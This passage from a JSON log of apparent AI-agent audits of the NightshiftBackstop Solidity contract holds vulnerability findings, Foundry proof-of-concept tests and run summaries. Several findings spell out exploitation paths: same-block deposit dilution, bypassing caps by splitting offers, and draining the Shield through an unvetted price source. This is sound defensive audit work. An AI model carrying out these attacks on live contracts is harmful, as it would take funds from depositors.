claim it: _gain needs d.initial != 0 and a later depositor snapshots the current shieldG on entry (line 530), so the credited quote stays in the contract permanently, taken from the treasury and reaching no depositor. The project's fuzz test checks only that the balance after withdrawal is dust; it never settles another offer in that state. Fix: when the fee is credited, require a live depositor base (e.g. track the sum of d.initial or skip the Shield share when shieldTotalDeposits is below a floor and send it to the treasury), or zero shieldTotalDeposits when a withdrawal empties the last deposit.","line":396,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract ProofERC20 {\n    uint8 public immutable decimals;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(uint8 d) {\n        decimals = d;\n    }\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        uint256 a = allowance[from][msg.sender];\n        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract ProofPool {\n    address public token0;\n    address public token1;\n\n    constructor(address a, address b) {\n        (token0, token1) = a < b ? (a, b) : (b, a);\n    }\n\n    function observe(uint32[] calldata) external pure returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](4);\n        l = new uint160[](4);\n        for (uint256 i; i < 4; ++i) {\n            c[i] = 1_000_000;\n        }\n    }\n}\n\n/// @notice After the only depositor withdraws everything, `shieldTotalDeposits` keeps the rounding dust\n/// of the compounded deposit. `settle` then still credits 80 % of every fee to `shieldG` (because\n/// `shieldTotalDeposits != 0`) although nobody holds a deposit. Later depositors snapshot `shieldG`\n/// on entry, so that quote can never be claimed by anyone and never reaches the treasury.\ncontract ShieldFeeDustProof is Test {\n    NightshiftBackstop internal bs;\n    ProofERC20 internal imd;\n    ProofERC20 internal usdc;\n\n    address internal owner = makeAddr(\"owner\");\n    address internal seller = makeAddr(\"seller\");\n    address internal bidder = makeAddr(\"bidder\");\n    address internal depositor = makeAddr(\"depositor\");\n    address internal later = makeAddr(\"later\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new ProofERC20(18);\n        usdc = new ProofERC20(18);\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        ProofPool pool = new ProofPool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n\n        imd.mint(seller, 2_000e18);\n        imd.mint(bidder, 1e18);\n        usdc.mint(bidder, 1_000_000e18);\n        usdc.mint(depositor, 3_000e18);\n        usdc.mint(later, 1_000e18);\n        vm.prank(seller);\n        imd.approve(address(bs), type(uint256).max);\n        vm.prank(bidder);\n        usdc.approve(address(bs), type(uint256).max);\n        vm.prank(depositor);\n        usdc.approve(address(bs), type(uint256).max);\n        vm.prank(later);\n        usdc.approve(address(bs), type(uint256).max);\n    }\n\n    function test_feeShareStrandedOnDustDeposits() public {\n        // 1. One depositor; one offer the Shield absorbs 50 lots of (debt 475e18 of 3000e18).\n        vm.prank(depositor);\n        bs.shieldDeposit(3_000e18);\n        vm.prank(seller);\n        uint256 id1 = bs.createOffer(1_000e18);\n        vm.warp(block.timestamp + 1 hours);\n        bs.settle(id1);\n        vm.prank(seller);\n        bs.claimSeller(id1);\n\n        // 2. After the lock the depositor withdraws the whole compounded deposit.\n        vm.warp(block.timestamp + 30 days);\n        (uint256 dep,,,) = bs.shieldPosition(depositor);\n        vm.prank(depositor);\n        bs.shieldWithdraw(dep);\n        (uint256 depAfter,,,) = bs.shieldPosition(depositor);\n        assertEq(depAfter, 0, \"depositor fully out\");\n        uint256 dust = bs.shieldTotalDeposits();\n        emit log_named_uint(\"shieldTotalDeposits with no depositor left (dust)\", dust);\n        assertGt(dust, 0, \"rounding dust remains in shieldTotalDeposits\");\n\n        // 3. A fully bid offer settles: 80 % of its fee is credited to a Shield nobody holds.\n        vm.prank(seller);\n        uint256 id2 = bs.createOffer(1_000e18);\n        vm.prank(bidder);\n        uint256 bidId = bs.placeBid(id2, 100);\n        vm.warp(block.timestamp + 1 hours);\n        bs.settle(id2);\n        NightshiftBackstop.Offer memory o = bs.getOffer(id2);\n        uint256 fee = (o.filledLots * o.lotCost * 300 + 9_999) / 10_000;\n        emit log_named_uint(\"fee of offer 2\", fee);\n        emit log_named_uint(\"treasuryAccrued from offer 2\", bs.treasuryAccrued());\n\n        // 4. Everyone claims; a later depositor snapshots shieldG on entry and sees no gain.\n        vm.prank(bidder);\n        bs.claimBid(bidId);\n        vm.prank(seller);\n        bs.claimSeller(id2);\n        bs.withdrawTreasury();\n        vm.prank(later);\n        bs.shieldDeposit(1_000e18);\n        (,, uint256 laterGain,) = bs.shieldPosition(later);\n        assertEq(laterGain, 0, \"new depositor cannot reach the earlier credit\");\n\n        uint256 stranded = usdc.balanceOf(address(bs)) - 1_000e18; // minus the new deposit\n        emit log_named_uint(\"quote in the contract owed to nobody\", stranded);\n        // Expected: fee quote goes to the treasury or to a depositor; only rounding dust may remain.\n        assertLe(stranded, 1e6, \"80 % of the fee is stranded in the contract forever\");\n    }\n}","reproduction":"State: flat pool (lotCost 9.5e18). Calls: depositor shieldDeposit(3_000e18); seller createOffer(1_000e18); warp 1 h; settle(1) (Shield spends 475e18, P = 841666666666666666); warp 30 days; depositor shieldWithdraw(compounded = 2,524.999999999999998e18) -> shieldTotalDeposits = 2000 wei, no depositor left. Then seller createOffer(1_000e18); bidder placeBid(id2, 100); warp 1 h; settle(2); all claims; withdrawTreasury(); later shieldDeposit(1_000e18). Expected: fee 28.5e18 fully paid to the treasury (Shield empty). Actual: treasuryAccrued 5.7e18, 22.8e18 quote remains in the contract owed to no one, and the new depositor's quoteGain is 0. Run: forge test --match-path test/scratch/ShieldFeeDust.t.sol -vv.","severity":"medium","snippet":"            shieldG[shieldScale] += UniV3Math.mulDiv(shieldFee, shieldP, shieldTotalDeposits);","title":"After the last depositor withdraws, rounding dust keeps shieldTotalDeposits non-zero and 80 % of every later fee is credited to nobody and stranded forever"},{"citation":"resolved","description":"The Shield slice and fee share are distributed to deposits present at settle() (lines 391-396) and settle is permissionless, so a depositor can deposit, settle and shieldClaimGains in one transaction. SHIELD_MIN_LOCK applies to the quote principal only; the IMD and fee gains leave immediately (lines 512-513). An attacker therefore enters only when the pool spot at settlement exceeds the frozen lotCost, captures a pro-rata share of the discounted tokens and 80 % fee share, and sells the tokens at once; long-term depositors are diluted on good offers and carry bad offers alone. The remaining principal is locked 30 days, which bounds repetition to once per lock period per wallet, so impact is bounded. Fix: snapshot deposits at offer creation (eligible deposits = those present before the offer's createOffer), or lock gains with the principal.","line":486,"path":"src/NightshiftBackstop.sol","reproduction":"State: honest depositor H holds 10,000 quote in the Shield; an offer with lotCost 95 quote per 10 IMD lot is past its deadline and spot is at or above TWAP. Attacker A in one transaction: shieldDeposit(10_000e18); settle(id); shieldClaimGains(). s = 50 lots (already at the 50-lot cap, so A adds no capacity). Expected: H receives the Shield's 500 IMD at a 5 % discount and the full 80 % fee share. Actual: A receives 250 IMD for 2,375 quote (worth 2,500) plus half of the fee share immediately; H gets half of what the position entitled a moment earlier. A's edge per entry is bounded by the one-offer slice, and A's remaining 7,625 quote is locked for 30 days.","severity":"low","snippet":"    function shieldClaimGains() external nonReentrant {","title":"Shield gains are claimable immediately while only principal is locked, so a same-block deposit before settle() dilutes existing depositors on profitable offers only"},{"citation":"resolved","description":"claimSeller sends the quote proceeds and then the returned tokens in one function (lines 423-424); claimBid sends tokens then the quote refund (452-453); _payGainsAndCompound sends token then quote gains (512-513) and is on the path of shieldWithdraw and shieldClaimGains. _call reverts the whole transaction on any failed transfer (598). USDC blacklists addresses, so a seller or bidder blacklisted after entering cannot recover the IMD they are owed either, and a blacklisted Shield depositor cannot collect IMD gains or withdraw. The README's 'only that recipient's claim fails' holds, but it loses an asset USDC does not control. Fix: claim each asset separately or allow a `to` recipient for the token leg.","line":423,"path":"src/NightshiftBackstop.sol","reproduction":"State: Shield holds deposits; seller created an offer that the Shield absorbs 50 lots of and nobody bids on; the quote token blocks transfers to the seller (USDC blacklist) before claim. Calls: warp 1 h; settle(id); seller claimSeller(id). Expected: at least the 50 unabsorbed lots (500 IMD) return to the seller or to an address of their choice. Actual: proceeds != 0 so the quote transfer at line 423 reverts with TokenTransferFailed before the token transfer at 424 runs; 500 IMD stay in the contract with no other path out. Same shape for a bidder with a non-zero refund in claimBid and for a depositor's token gains in shieldWithdraw/shieldClaimGains.","severity":"low","snippet":"        if (proceeds != 0) _send(quote, msg.sender, proceeds);\n        if (tokens != 0) _send(token, msg.sender, tokens);","title":"Quote and token payouts are coupled in one call: a recipient USDC blacklists after bidding or selling also loses the IMD leg (returned lots, filled lots, Shield token gains)"}],"hash":"1272220749450e76c2325b43dcfc26693ce37e435653bc303be29e8ccdc9ce58","nodeId":"e5285427-7bb6-4ce1-9710-3bf7a82debf1","outcome":"completed","summary":"Findings file is written and verified: 6 findings, 18 coverage rows, every snippet matches the tree, 4 proofs embedded.\n\n## Recap\n\nI audited `src/NightshiftBackstop.sol` against the Economic Security, Invariant and Flow Gap guides, traced every listed entry point, and read the designated mainnet pool. Results are in `.imd-findings.json`.\n\n**Findings (6)**\n\n1. **High. Shield is a forced buyer at a stale, attacker-set price.** The Shield buys at the price frozen in `createOffer` and `settle` never re-reads the pool. The pump filter compares two TWAPs from the same pool, so a 90-minute hold passes it, and a zero past quote skips it entirely. The pool the README tells the owner to set holds 0.21 USDC against 6,552 IMD with observation cardinality 1, so its TWAP is whatever the last swap left. Proof: Shield pays 4,750 quote for tokens the pool values at 500 at settlement.\n2. **Medium. Per-offer Shield caps bypassed by splitting offers.** Five offers in one block spend 96% of the Shield at one frozen price, against the README's 50% promise. Proof included.\n3. **Medium. A 1 wei Shield deposit captures 80% of all fees** while absorbing nothing, cutting the treasury to 20%. Proof included.\n4. **Medium. Fee share stranded on rounding dust.** After the last depositor withdraws, dust keeps the Shield \"non-empty\", so 80% of later fees is credited to nobody and can never be claimed. Proof included.\n5. **Low. Gains are not time-locked**, so a same-block deposit before `settle` dilutes existing depositors on good offers only.\n6. **Low. Coupled quote and token payouts** mean a USDC-blacklisted seller, bidder or depositor also loses their IMD leg.\n\n**Checks run.** The project's own 40 tests pass. All 4 proofs under `test/scratch/` fail on the current code for the stated reason. `forge fmt --check` passes.\n\n**Coverage.** All 14 entry points have rows: 8 marked `finding`, 6 `holds`, none unreached, plus 4 invariant rows. Quote and token conservation and Shield solvency hold. What I did not reach: I did not independently verify the IMD OFT token's transfer behaviour beyond confirming it has no `paused()` function, and the TWAP manipulation cost on the live pool is reasoned from its reserves and liquidity rather than simulated.","treeHash":null,"usage":{"cachedInputTokens":1754411,"chain":[{"calls":8,"chainId":1,"failed":0,"own":8,"public":0,"refused":0}],"cost":{"source":"runtime","usdMicros":7278509},"inputTokens":450,"model":"claude-fable-5-1","outputTokens":72160,"runtime":"claude","turns":33,"wallClockMs":996190}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"7eaf1cd0fb3df712","findings":[],"hash":"25a9937148a39838ec258a564900fbfa9f6637437eef905e3993d096c19b7a9b","nodeId":"01654527-bf69-47ea-b8b0-6cac9d0ec6e0","outcome":"completed","summary":"All ten findings from my last review are fixed in the revised code, and I found nothing new that I can reproduce. `.imd-findings.json` holds an empty findings list and a coverage record with one row for each of the 21 entry points (all `holds`), plus two invariant rows.\n\n**What I ran**\n- **The 8 attached proofs:** copied under `test/scratch/` and run against the new code; all 8 pass. They cover the stale-price Shield purchase, the owner draining the Shield through `setPriceSource` (two copies each), a deposit made after bidding closes, and `createOffer` having no price bound.\n- **My 6 advisory reproductions,** rewritten as one scratch test; all pass:\n  - **Rounding dust (19 wei) after the last depositor leaves:** the treasury now gets the full 14.25e18 fee.\n  - **A 1 wei deposit:** it earns nothing, and the treasury gets all 28.5e18.\n  - **Five offers created in one block:** at least 500e18 of the Shield's 1,000e18 is left.\n  - **A pause while an offer is open:** later bidders can still bid, and the lots split 50/50.\n  - **A seller USDC has blocked:** `claimSellerTo` sends both the 500 IMD and the USDC to another address.\n  - **A past TWAP that rounds to zero:** momentum now reads as the maximum, the discount is 12 %, and the Shield stays out.\n- **The project's own tests:** all 121 pass.\n\n**New code I checked**\n- **The price re-check in `settle`:** the call that reads the pool at settlement is wrapped in `try`/`catch`. Nobody can make it fail on purpose by limiting gas, because the 1/64 of gas left afterwards is far too little to finish `settle`.\n- **The Shield's reserved funds:** reservations never exceed half of the deposits. This holds at offer creation, at withdrawal and at settlement, so each purchase uses at most half of the Shield.\n- **The analysis tools' warnings:** the `^` in `UniV3Math.mulDiv` is the standard starting value of the library's division routine, not a bug. The unsafe integer cast would need more than 2^127 IMD in a single lot, which can't happen.\n- **Size and manifest:** the deployed code is 15,793 bytes, within the 24,576 limit. `launch.json` has only the allowed keys and six constructor arguments in the right order.\n\n**Limits the README states**\nThese are not defects in the code, but the owner and depositors should know them:\n- A seller who holds the pool price up from 90 minutes before creating an offer until it settles can still sell high to the Shield. On the near-empty launch pool (about 0.21 USDC on the USDC side) that costs almost nothing, so the owner must not use it as the price source as it stands.\n- A Shield deposit made while an offer is open still shares that offer's fixed Shield purchase with earlier depositors.\n- `createOffer(uint256)` still has no price bound, and sellers are told to use the three-argument version.\n- The price source is trusted. Once a scheduled replacement has waited out its 37 days, the owner can apply it at any time. Deposits made after the change was announced accept it.\n\nI deleted `test/scratch/` afterwards; the findings file is the only thing left behind.","treeHash":null,"usage":{"cachedInputTokens":890458,"cost":{"source":"runtime","usdMicros":1105297},"inputTokens":23,"model":"claude-opus-5-5","outputTokens":14807,"runtime":"claude","turns":13,"wallClockMs":191152}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e6de8d4c6cf97551","findings":[{"citation":"resolved","description":"settle() decides whether the Shield is empty with `shieldTotalDeposits != 0`. That book total is not the sum of what depositors can claim: _compounded() floors every depositor's share (`mulDiv(initial, shieldP, snapshotP)`), and `shieldP` itself is floored in _shieldAbsorb(), so after any absorption the total exceeds the sum of compounded deposits by a few wei. Once every depositor has withdrawn (or their deposit has rounded to 0), `shieldTotalDeposits` stays at that dust while nobody holds a position. From then on every settle() writes `shieldFee * P / dust` into shieldG, but no account can realise it: a later depositor snapshots shieldG at deposit time, so `_gain` excludes everything accrued before. The quote sits in the contract with no claim path (no sweep exists), and the treasury receives only 20 % of each fee, although the README states 'If the Shield is empty, the whole fee goes to the treasury'. The same happens while all remaining deposits are tiny enough to have compounded to zero. Minimal fix: treat the Shield as empty when it cannot pay anyone, e.g. route the Shield share to treasuryAccrued when `shieldTotalDeposits` is below a floor (one quote unit, 1e6 for USDC, is far above the per-depositor rounding dust) or when the sum of live deposits is zero (track a count of accounts with initial != 0 and reset shieldTotalDeposits to 0 when the last one leaves).","line":395,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract ProofERC20 {\n    uint8 public immutable decimals;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(uint8 d) {\n        decimals = d;\n    }\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        uint256 a = allowance[from][msg.sender];\n        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Uniswap v3 pool stand-in: a flat tick-0 history, so one token unit is worth one quote unit.\ncontract ProofPool {\n    address public token0;\n    address public token1;\n\n    constructor(address a, address b) {\n        (token0, token1) = a < b ? (a, b) : (b, a);\n    }\n\n    function observe(uint32[] calldata secondsAgos) external pure returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](secondsAgos.length);\n        l = new uint160[](secondsAgos.length);\n        for (uint256 i; i < c.length; ++i) {\n            c[i] = 1_000_000;\n        }\n    }\n}\n\n/// @notice Shows that once the Shield holds only rounding dust, 80 % of every later fee is credited to\n/// `shieldG` against that dust and is claimable by nobody; the treasury gets only 20 % although the\n/// README says the whole fee goes to the treasury when the Shield is empty.\ncontract ShieldDustStrandsFeesTest is Test {\n    NightshiftBackstop internal bs;\n    ProofERC20 internal imd;\n    ProofERC20 internal usdc;\n\n    address internal owner = makeAddr(\"owner\");\n    address internal seller = makeAddr(\"seller\");\n    address internal alice = makeAddr(\"alice\");\n    address internal shielder = makeAddr(\"shielder\");\n\n    uint256 internal constant OFFER = 1_000e18; // lot size 10e18\n    uint256 internal constant LOT_COST = 9.5e18; // tick 0, zero momentum, 5 % discount\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new ProofERC20(18);\n        usdc = new ProofERC20(18);\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 0);\n        ProofPool pool = new ProofPool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n\n        address[3] memory users = [seller, alice, shielder];\n        for (uint256 i; i < users.length; ++i) {\n            imd.mint(users[i], 100_000e18);\n            usdc.mint(users[i], 1_000_000e18);\n            vm.startPrank(users[i]);\n            imd.approve(address(bs), type(uint256).max);\n            usdc.approve(address(bs), type(uint256).max);\n            vm.stopPrank();\n        }\n    }\n\n    function test_feeIsStrandedWhenShieldHoldsOnlyDust() public {\n        // 1. One depositor puts 3 lots' worth of quote into the Shield.\n        vm.prank(shielder);\n        bs.shieldDeposit(3 * LOT_COST);\n\n        // 2. An offer with no bids: the Shield absorbs exactly one lot (half of 3 lots, floored).\n        vm.prank(seller);\n        uint256 id1 = bs.createOffer(OFFER);\n        assertEq(bs.getOffer(id1).lotCost, LOT_COST, \"lot cost\");\n        vm.warp(block.timestamp + bs.OFFER_WINDOW());\n        bs.settle(id1);\n        assertEq(bs.getOffer(id1).shieldLots, 1, \"shield took one lot\");\n\n        // 3. After the lock the depositor withdraws everything they are owed. P was floored, so the\n        //    compounded deposit is 19 wei short of the Shield's book total: dust that nobody owns.\n        vm.warp(block.timestamp + bs.SHIELD_MIN_LOCK());\n        (uint256 dep,,,) = bs.shieldPosition(shielder);\n        vm.prank(shielder);\n        bs.shieldWithdraw(dep);\n        (uint256 depAfter,,,) = bs.shieldPosition(shielder);\n        assertEq(depAfter, 0, \"depositor fully out\");\n        uint256 dust = bs.shieldTotalDeposits();\n        assertGt(dust, 0, \"dust remains on the book\");\n        assertLt(dust, 1e6, \"and it is only dust\");\n\n        // 4. A normal offer: 50 lots bought by a bidder. Nobody is in the Shield.\n        vm.prank(seller);\n        uint256 id2 = bs.createOffer(OFFER);\n        vm.prank(alice);\n        bs.placeBid(id2, 50);\n        vm.warp(block.timestamp + bs.OFFER_WINDOW());\n        uint256 treasuryBefore = bs.treasuryAccrued();\n        bs.settle(id2);\n\n        NightshiftBackstop.Offer memory o = bs.getOffer(id2);\n        assertEq(o.shieldLots, 0, \"shield absorbed nothing\");\n        uint256 gross = o.filledLots * o.lotCost;\n        uint256 fee = (gross * bs.TRADE_FEE_BPS() + bs.BPS() - 1) / bs.BPS();\n\n        // Expected (README \"If the Shield is empty, the whole fee goes to the treasury\"): the treasury\n        // accrues the full fee. Actual: only 20 % reaches it; the other 80 % is written to shieldG\n        // against `dust` wei of deposits and can never be claimed by anyone.\n        assertEq(bs.treasuryAccrued() - treasuryBefore, fee, \"whole fee reaches the treasury\");\n    }\n}","reproduction":"Setup: NightshiftBackstop(owner, IMD, USDC, minOfferSize 1_000e18, cap 10_000e18, minBidderHolding 0), mock pool at tick 0 with zero momentum so a 10e18 lot costs 9.5e18 quote. (1) shielder.shieldDeposit(3 * 9.5e18). (2) seller.createOffer(1_000e18); no bids; warp 1 h; settle(1): _shieldLots = floor(1.5 lots) = 1, debt 9.5e18, newP = floor(1e18 * 19e18 / 28.5e18) = 666666666666666666; shieldTotalDeposits = 19e18. (3) warp 30 days; shielder.shieldWithdraw(dep) with dep = shieldPosition().deposit = floor(28.5e18 * 666666666666666666 / 1e18) = 19e18 - 19. Now shieldTotalDeposits == 19 wei and no account has initial != 0. (4) seller.createOffer(1_000e18); alice.placeBid(id, 50); warp 1 h; settle(id): gross = 50 * 9.5e18 = 475e18, fee = 14.25e18. Expected: treasuryAccrued grows by 14.25e18 (Shield is empty). Actual: treasuryAccrued grows by 2.85e18; 11.4e18 is added to shieldG[0] as 11.4e18 * P / 19 and is unclaimable by anyone, now or later. Repeats on every subsequent offer until someone deposits into the Shield.","severity":"medium","snippet":"        if (shieldFee != 0 && shieldTotalDeposits != 0) {\n            shieldG[shieldScale] += UniV3Math.mulDiv(shieldFee, shieldP, shieldTotalDeposits);","title":"settle() credits the Shield's 80 % fee share against a dust-only shieldTotalDeposits, stranding it forever"},{"citation":"resolved","description":"Each pull-based payout sends the token leg and the quote leg in one transaction with no way to take one without the other and no alternative recipient. The README accepts that a USDC-blacklisted recipient cannot receive quote, but the coupling also blocks assets USDC has no say over: a blacklisted bidder's filled IMD lots (claimBid, lines 452-453), a blacklisted seller's unabsorbed IMD return (claimSeller, lines 423-424), and a blacklisted Shield depositor's IMD gains (_payGainsAndCompound, lines 512-513, which also makes shieldClaimGains, shieldDeposit and shieldWithdraw revert for that account). The IMD stays in the contract with no path out, since there is no sweep and the owner cannot move escrowed funds. Minimal fix that keeps the pull-based design: let the claimant pass a recipient address, or split the claims so the token leg can be taken when the quote leg reverts (e.g. claimBidTokens / claimBidRefund, or record the refund as a separate pullable balance).","line":452,"path":"src/NightshiftBackstop.sol","reproduction":"Setup as in the project's own test suite with the BlockingToken mock as quote and no Shield deposits. alice.placeBid(offerId, 100) and bob.placeBid(offerId, 100), each paying 100 * lotCost; warp 1 h; settle(offerId): filledLots = 100, so alice is allotted 50 lots (50 * lotSize IMD) and is owed a refund of 50 * lotCost quote. Then usdc.setBlocked(alice). alice.claimBid(bidId): expected the 50 * lotSize IMD to be delivered (USDC can only block the USDC leg); actual the whole call reverts with TokenTransferFailed at the quote transfer (line 453), undoing the IMD transfer on line 452, so alice receives nothing and no other function releases her IMD. Same shape for claimSeller with a blocked seller (lines 423-424) and for a blocked Shield depositor via _payGainsAndCompound (lines 512-513).","severity":"low","snippet":"        if (tokens != 0) _send(token, msg.sender, tokens);\n        if (refund != 0) _send(quote, msg.sender, refund);","title":"claimBid/claimSeller/_payGainsAndCompound bundle the IMD and USDC transfers, so a USDC-side block also strands the IMD leg"},{"citation":"resolved","description":"settle() sizes the Shield slice from shieldTotalDeposits at settlement time and shieldWithdraw is never paused and has no per-offer lock. A depositor whose 30-day lock has elapsed can see a pending settle() (or simply the offer's frozen lotCost versus the current pool price) and withdraw first; _shieldLots then uses the smaller total, so the remaining depositors absorb the offer at the frozen price while the leaver takes none of it and can redeposit afterwards (only restarting their own lock). This is the stability-pool property the design inherits from Liquity and is documented nowhere in the README's trust assumptions; it is a design note for the author, not a code defect.","line":475,"path":"src/NightshiftBackstop.sol","reproduction":"Shield: A deposited 10_000e6 USDC 31 days ago, B deposited 10_000e6 USDC 10 days ago. Seller creates an offer at TWAP lotCost L; during the hour the pool price falls 20 %. A calls shieldWithdraw(10_000e6) at deadline - 1 s (lock elapsed, allowed). settle(): byFunds = 10_000e6 / 2 / L lots are bought entirely from B's deposit at L, 20 % above market; A's balance is untouched and A can shieldDeposit again in the next block.","severity":"info","snippet":"        if (block.timestamp < uint256(d.lastDepositAt) + SHIELD_MIN_LOCK) revert ShieldLocked();","title":"Shield depositors past the lock can exit between an offer's creation and its settlement, so the absorption falls on whoever stays"},{"citation":"resolved","description":"SHIELD_MAX_FUNDS_USE_BPS caps one settle at 50 % of the current shieldTotalDeposits. Nothing caps the aggregate: a seller may create many offers in the same block (each >= minOfferSize) and each settle() recomputes byFunds from the already reduced total, so n offers spend 1 - 0.5^n of the Shield at the frozen TWAP-minus-discount price, bounded otherwise only by 50 lots and shieldPerOfferCap per offer. This matches the code's own comment ('keeps the pool from emptying') only asymptotically. Reported for the README wording and the economics reviewer; the behaviour is the designed mechanic.","line":409,"path":"src/NightshiftBackstop.sol","reproduction":"Shield total T = 100_000e6; lotCost L = 35e6 (10 IMD at about 3.5 USDC), cap 10_000e6. Seller creates k offers of 1_000e18 IMD in one block. Settle 1: s = min(50, 285, floor(50_000e6 / 35e6) = 1428) = 50 lots, 1_750e6 spent. Each further settle spends another 50 lots while T/2 >= 50 L, so with k = 55 offers (55_000 IMD) the Shield has spent about 96 % of T; with k offers at a lower IMD price the halving bound binds and the remainder after k settles is T / 2^k.","severity":"info","snippet":"        uint256 byFunds = shieldTotalDeposits * SHIELD_MAX_FUNDS_USE_BPS / BPS / lotCost;","title":"README's 'the pool can never be fully drained' holds per offer only; consecutive settles each spend half of what remains"}],"hash":"4c4ab41393f5cbe8ae8f33dd6f4e9c4d5e2ac3540e7001430534fa2b8f124984","nodeId":"71dcb865-22fa-4152-a8b8-5a6ab285d311","outcome":"completed","summary":"Review complete. The findings file is written at `.imd-findings.json` with 4 findings and 17 coverage rows, and both scratch tests behave as the findings state.\n\n**What I found (control flow: Execution Trace, Periphery, First Principles)**\n\n- **Medium, with proof.** `settle()` treats the Shield as non-empty whenever `shieldTotalDeposits != 0`. After any absorption that total exceeds the sum of claimable deposits by a few wei, because `_compounded` and `_shieldAbsorb` both floor. Once the last depositor leaves, the dust stays, and every later settle writes 80% of the fee into `shieldG` against that dust. Nobody can ever claim it, later depositors snapshot past it, and the treasury gets only 20%. The README promises the whole fee goes to the treasury when the Shield is empty. The proof test in `test/scratch/ShieldDustStrandsFees.t.sol` fails on this code with the treasury receiving 2.85e18 of a 14.25e18 fee.\n- **Low.** `claimBid`, `claimSeller` and `_payGainsAndCompound` send the IMD leg and the USDC leg in one call. A USDC-blacklisted bidder therefore also loses access to their filled IMD lots, a blacklisted seller to their returned IMD, and a blacklisted Shield depositor to their IMD gains and to every Shield function. Confirmed with a blocking-token scratch test: the claim reverts and no IMD is delivered.\n- **Info.** Shield depositors past their lock can withdraw between an offer's creation and its settlement, leaving the absorption to those who stay. Liquity-style property, not documented.\n- **Info.** The \"pool can never be fully drained\" wording holds per offer only. Consecutive settles each spend half of what remains.\n\n**What held.** Offer creation, bidding and settlement boundaries, the pro-rata telescoping allocation, Shield P/S/G accounting including the rescale path, the two-step ownership, pause scope, treasury withdrawal, and the UniV3Math port (constants match v3-core; the XOR flagged by slither is correct). Reentrancy leads from static analysis are not findings: every entry is guarded, tokens are immutable trusted assets, and state precedes each send. On chain 1, the IMD token and the 0.3% pool match the README (pool cardinality is still 1, as the README warns).\n\n**Not covered in depth.** Economic manipulation of the 30-minute TWAP and Shield front-running incentives belong to the economics specialist; I noted them only where the README's wording overstates a guarantee.","treeHash":null,"usage":{"cachedInputTokens":1123885,"chain":[{"calls":5,"chainId":1,"failed":0,"own":5,"public":0,"refused":0}],"cost":{"source":"runtime","usdMicros":4992993},"inputTokens":354,"model":"claude-fable-5-1","outputTokens":48083,"runtime":"claude","turns":23,"wallClockMs":706992}},{"artifacts":[],"attempt":1,"bundleHash":"d59de29e1ddc1f39b469762e087833b44cddbb220e2f07b2195ee68da72fd2eb","device":"4539d3d0693a7444","findings":[],"hash":"54c498e82988874aa473d0384e1cb1a695991d1e71ac113b0e9d0cece286a1e1","nodeId":"727b5efc-3431-4e06-a8df-f1c6ffd990df","outcome":"completed","summary":"Added 48 tests under `test/`, covering failure paths, reentrancy, accounting, rounding, and custody invariants.\n\nVerified with the required seed:\n\n- `forge build` passes.\n- All 88 tests pass.\n- 32,768 invariant calls complete with zero handler reverts.\n\nNo confirmed implementation defects found.","treeHash":"bef5318d684c353e9f86a015d23ab55f0d052582","usage":{"cachedInputTokens":2229888,"cost":{"source":"estimated","usdMicros":5160848},"inputTokens":89646,"model":"gpt-6-astra","outputTokens":40690,"runtime":"codex","turns":8,"wallClockMs":1088135}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ee235ca2c050b44d","findings":[{"citation":"resolved","description":"Seam: access x economics x asymmetry (Trust Gap seam 4). setPriceSource only checks that the contract's token0()/token1() return the IMD/USDC pair. Nothing ties it to the Uniswap v3 factory, and nothing delays it. Any contract with those two getters and an observe() is accepted. createOffer freezes lotCost from that source. At settle (L380, L391), the Shield is a forced buyer: depositors cannot decline, and shieldWithdraw is locked for 30 days after each deposit (L475). The pump filter (L344) only checks momentum, meaning the price now compared with one hour earlier. A source that reports a flat inflated price has momentum 0, so it passes and the offer is Shield-eligible. Each offer spends up to min(shieldPerOfferCap, 50% of deposits). Offers are unlimited, so the owner, acting as seller, drains the Shield geometrically in one block. README says the owner 'cannot move escrowed funds' and that a malicious pool only 'misprice[s] new offers'. In this attack the escrowed funds are the Shield deposits, and they end up in the owner's claimSeller proceeds. The same holds for the canonical but empty 1% IMD/USDC pool named in the README, whose price the owner can set alone before pointing priceSource at it. Fix that keeps the design: bind priceSource to the canonical factory pool (factory.getPool, with an immutable factory) and put changes behind a delay longer than 